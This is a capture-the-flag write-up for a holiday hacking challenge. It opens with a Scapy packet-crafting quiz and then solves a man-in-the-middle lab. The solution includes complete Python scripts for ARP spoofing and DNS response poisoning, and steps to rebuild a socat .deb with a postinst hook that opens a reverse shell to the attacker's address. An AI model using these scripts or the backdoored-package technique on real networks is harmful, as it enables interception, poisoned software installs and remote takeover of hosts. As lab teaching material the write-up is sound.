Objective

image-20210110210615772

Terminal - Scapy Prepper

Challenge

Alabaster Snowball is on the roof next to the Scapy Prepper terminal:

Welcome to the roof! Alabaster Snowball here.

I’m watching some elves play NetWars!

Feel free to try out our Scapy Present Packet Prepper!

If you get stuck, you can help() to see how to get tasks and hints.

This terminal is a series of questions in a Python environment that involve manipulating packets with Scapy:

image-20210110210932369

Solution

>>> task.get()
Welcome to the "Present Packet Prepper" interface! The North Pole could use your help preparing present packets for shipment.
Start by running the task.submit() function passing in a string argument of 'start'.
Type task.help() for help on this question.
>>> task.submit('start')
Correct! adding a () to a function or class will execute it. Ex - FunctionExecuted()

Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.

>>> task.submit(send)
Correct! The "send" scapy class will send a crafted scapy packet out of a network interface.

Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.

>>> task.submit(sniff)
Correct! the "sniff" scapy class will sniff network traffic and return these packets in a list.

Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt":
1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))

>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.

Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.

>>> task.submit(rdpcap)
Correct! the "rdpcap" scapy class can read pcap files.

The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
2. UDP_PACKETS.show()
3. UDP_PACKETS.list()

>>> task.submit(2)
Correct! .show() can be used on lists of packets AND on an individual packet.

Submit only the first packet found in UDP_PACKETS.

>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0.

Submit only the entire TCP layer of the second packet in TCP_PACKETS.

>>> task.submit(TCP_PACKETS[1]['TCP'])
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc... can be accessed this way. Ex - pkt[IP][TCP]

Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet

>>> UDP_PACKETS[0]['IP'].src = '127.0.0.1'

>>> task.submit(UDP_PACKETS[0])
Correct! You can change ALL scapy packet attributes using this method.

Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.

>>> print('\n'.join([t[Raw].load.decode() for t in TCP_PACKETS[3:] if Raw in t]))
220 North Pole FTP Server

USER alabaster
331 Password required for alabaster.
PASS echo

230 User alabaster logged in.

>>> task.submit('echo')
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]

The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.

>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1]
[ICMP].chksum .

Submit the number of the choice below that would correctly create a ICMP echo request pack
et with a destination IP of 127.0.0.1 stored in the variable named "pkt"
1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")

>>> task.submit(3)
Correct! Once you assign the packet to a variable named "pkt" you can then use that variable to send or manipulate your created packet.

Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)

>>> task.submit(IP(dst='127.127.127.127')/UDP(dport=5000))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.127.127.127")/UDP(dport=5000)
task.submit(pkt)

Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)

>>> task.submit(IP(dst='127.2.3.4')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname='elveslove.santa')))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.2.3.4")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))
task.submit(pkt)

The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.

>>> ARP_PACKETS[0]
<Ether  dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |>>

>>> ARP_PACKETS[1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding  load='\xc0\xa8\x00r' |>>>

>>> ARP_PACKETS[1][ARP].op = 2

>>> ARP_PACKETS[1][ARP].hwsrc='00:13:46:0b:22:ba'

>>> ARP_PACKETS[1][ARP].hwdst='00:16:ce:6e:8b:24'

>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!

Congratulations, all pretty present packets properly prepared for processing!

ARP Shenanigans

Hints

Alabaster has some hints for me, but then realized I can’t help, only Santa:

Great job! Thanks!

Those skills might be useful to you later on!

I’ve been trying those skills out myself on this other terminal.

I’m pretty sure I can use tcpdump to sniff some packets.

Then I’m going to try a machine-in-the-middle attack.

Next, I’ll spoof a DNS response to point the host to my terminal.

Then I want to respond to its HTTP request with something I’ll cook up.

I’m almost there, but I can’t quite get it. I could use some help!

For privacy reasons though, I can’t let you access this other terminal.

I do plan to ask Santa for a hand with it next time he’s nearby, though.

Eight hints fill the badge for this one:

  • Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host.
  • The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts.
  • Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP.
  • The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file

Enumeration

On getting into the terminal, I’ll run tshark to see what kind of traffic is visible from Jack Frost’s hosts. It looks like there’s regular ARP requests:

guest@86a2dddeef85:~$ tshark -ni eth0
Capturing on 'eth0'
    1 0.000000000 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    2 1.052077455 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    3 2.099995291 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    4 3.135951903 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    5 4.196042001 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    6 5.247847544 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    7 6.291969883 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    8 7.327955908 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35

ARP Spoof

I’ll fill out the skeleton arp_resp.py Python script in scripts/:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
def handle_arp_packets(packet):
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)
        arp_response = ARP(pdst="4c:24:57:ab:ed:84")
        arp_response.op = 2
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = 0x800
        arp_response.hwtype = 1
        arp_response.hwsrc = macaddr
        arp_response.psrc = "10.6.6.53"
        arp_response.hwdst = "4c:24:57:ab:ed:84"
        arp_response.pdst = "10.6.6.35"
        response = ether_resp/arp_response
        sendp(response, iface="eth0")
def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
    main()

This script will look for ARP packets and pass them to handle_arp_packets, which crafts an ARP response and sends it back. In this case, because the source address is spoofed, I’ll set it to the IP the packet was trying to reach.

I’ll start tshark again and then run this. It spoofs a packet and exits. Immediately after in tshark, there’s an incoming DNS request:

guest@86a2dddeef85:~/scripts$ tshark -ni eth0
Capturing on 'eth0'
    1 0.000000000 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    2 1.067915201 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    3 2.107961393 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    4 2.140283434 02:42:0a:06:00:05 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:05
    5 2.152522488    10.6.6.35 → 10.6.6.53    DNS 74 Standard query 0x0000 A ftp.osuosl.org
    6 3.155949832 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35

DNS Poison

Again there’s starter script to work from. I’ll update it making sure to get the source and destination addresses and ports correct, resulting in:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84")
    ip  = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed)
    udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
    dns = DNS(id=packet[DNS].id,ancount=1, qd=packet[DNS].qd, aa=1, qr=1, an=DNSRR(rrname=packet[DNSQR].qname, rdata=ipaddr))
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
    main()

This script will respond to the DNS request and tell the host that my box is also the server it’s trying to resolve, ftp.osuosl.org.

I’ll start tshark, and run both scripts at the same time:

guest@85c29b475e3f:~/scripts$ python3 arp_resp.py & python3 dns_resp.py 
[1] 509
.
Sent 1 packets.
.
Sent 1 packets.
[1]+  Done                    python3 arp_resp.py

This results in a bunch of traffic:

guest@86a2dddeef85:~/scripts$ tshark -ni eth0
Capturing on 'eth0'
    1 0.000000000 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    2 1.064008138 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    3 2.100085790 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    4 3.144020229 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    5 4.184063002 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    6 4.216203934 02:42:0a:06:00:05 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:05
    7 4.232446765    10.6.6.35 → 10.6.6.53    DNS 74 Standard query 0x0000 A ftp.osuosl.org
    8 4.256868744    10.6.6.53 → 10.6.6.35    DNS 104 Standard query response 0x0000 A ftp.osuosl.org A 10.6.0.5
...[snip unexplained TCP 48078 TLS activity]...
   22 5.292924769    10.6.6.35 → 10.6.0.5     TCP 74 50092 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3399756646 TSecr=0 WS=128
   23 5.292942872     10.6.0.5 → 10.6.6.35    TCP 54 80 → 50092 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
   24 5.293803326    10.6.6.35 → 10.6.0.5     TLSv1.3 286 Application Data, Application Data, Application Data
   25 5.294571593     10.6.0.5 → 10.6.6.35    TCP 66 48078 → 64352 [ACK] Seq=810 Ack=2245 Win=64128 Len=0 TSval=2472384382 TSecr=3399756644
...[snip unexplained TCP 48078 TLS activity]...
   28 6.275965825 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
   29 7.315995572 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
   30 8.347976598 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35

After the DNS request it’s an HTTP request/

Running this same attack again with a Python webserver up reveals the file it’s trying to get:

guest@85c29b475e3f:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [02/Jan/2021 22:06:34] code 404, message File not found
10.6.6.35 - - [02/Jan/2021 22:06:34] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -

Poisoned deb

I’ve shown this before in OneTwoSeven from HackTheBox (abeit in a more complicated manner because it was responding to an apt update and not just a .deb get).

Start by making a directory to work from and getting a deb to work with:

guest@84b87ee427d8:~$ mkdir packing
guest@84b87ee427d8:~$ cp debs/socat_1.7.3.3-2_amd64.deb  packing/
guest@84b87ee427d8:~$ cd packing/

socat is a convenient one, as when it’s installed, I can use it to get a shell. Extract the archive directory of the .deb file, which gives all the files that will be places in the filesystem:

guest@84b87ee427d8:~/packing$ dpkg -x socat_1.7.3.3-2_amd64.deb work
guest@84b87ee427d8:~/packing$ ls work/
usr

I also need the control files from the original archive, which extract with dpkg -e:

guest@84b87ee427d8:~/packing$ dpkg -e socat_1.7.3.3-2_amd64.deb control
guest@84b87ee427d8:~/packing$ ls control/
control  md5sums

In work, I’ll create a DEBIAN directory for control information and copy in the control file:

guest@84b87ee427d8:~/packing$ mkdir work/DEBIAN
guest@84b87ee427d8:~/packing$ cp control/control work/DEBIAN/

There is no postinst file in the socat installer, so I’ll create one:

guest@84b87ee427d8:~/packing$ touch work/DEBIAN/postinst
guest@84b87ee427d8:~/packing$ chmod +x work/DEBIAN/postinst

Because I’m using a socat installer, I can count on socat to be on the target host, so I’ll use that to get a reverse shell:

#!/bin/sh

socat tcp-connect:10.6.0.3:4433 exec:/bin/sh,pty,stderr,setsid,sigint,sane

Build the package back, and move it into place:

guest@f88c5170ccba:~/packing$ dpkg-deb --build work/
dpkg-deb: building package 'socat' in 'work.deb'.
guest@f88c5170ccba:~/packing$ mkdir -p ~/pub/jfrost/backdoor/
guest@f88c5170ccba:~/packing$ mv work.deb ~/pub/jfrost/backdoor/suriv_amd64.deb

Attack

I’ll start a Python webserver and a socat listener for the reverse shell, then run the same two scripts again to arp spoof and then DNS spoof:

guest@f88c5170ccba:~$ python3 scripts/arp_resp.py & python3 scripts/dns_resp.py 
[1] 221
.
Sent 1 packets.
.
Sent 1 packets.
[1]+  Done                    python3 scripts/arp_resp.py

At the Python webserver, the request comes in for the package, and the server returns it:

guest@f88c5170ccba:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [03/Jan/2021 12:04:11] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 200 -

At the socat listener, a shell comes back:

guest@f88c5170ccba:~$ socat file:`tty`,raw,echo=0 tcp-listen:4433
/bin/sh: 0: can't access tty; job control turned off     
$ id
uid=1500(jfrost) gid=1500(jfrost) groups=1500(jfrost)

The file needed for the flag is in the system root:

NORTH POLE   
LAND USE BOARD
MEETING MINUTES
                                                         
January 20, 2020
                                                         
Meeting Location: All gathered in North Pole Municipal Building, 1 Santa Claus Ln, North Pole
                                                         
Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time.
                                                         
Roll call of Board members please:
Chairman Jack Frost - Present
Vice Chairman Mother Nature - Present
Superman - Present
Clarice - Present         
Yukon Cornelius - HERE!
Ginger Breaddie - Present                  
King Moonracer - Present
Mrs. Donner - Present
Tanta Kringle - Present
Charlie In-the-Box - Here
Krampus - Growl
Dolly - Present
Snow Miser - Heya!
Alabaster Snowball - Hello
Queen of the Winter Spirits - Present
                                                         
ALSO PRESENT:
                Kris Kringle
                Pepper Minstix
                Heat Miser
                Father Time
Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made -- displayed on the bulletin board next to the Pole, listed on the North Pole community website, and published in the North Pole Times newspaper -- for people who are interested in this meeting. Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman.  Minutes approved.

OLD BUSINESS: No Old Business.

RESOLUTIONS:
The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the size of the current castle.  Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of the North Pole.”  Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.”  Chairman Frost then noted, “But the additional traffic will be a burden on local residents.”  Dolly explained traffic projections were all in alignment with existing roadways.  Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’”  Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board.  Mrs. Nature made a motion to approve.  Seconded by Mr. Cornelius.  Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.  

Approved:
Mother Nature
Superman
Clarice
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Krampus
Dolly
Snow Miser
Alabaster Snowball
Queen of the Winter Spirits

Opposed: 
                Jack Frost
                
Resolution carries.  Construction approved.

NEW BUSINESS:
Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc.  Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two orders of magnitude too high.  Why, it might burn the whole North Pole down!”  Mr. H. Miser replied with a laugh, “That’s the whole point!”  The board voted unanimously to reject the initial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system.

Motion to adjourn – So moved, Krampus.  Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of the Kringle Castle expansion plan.  Meeting adjourned.

Flag: Tanta Kringle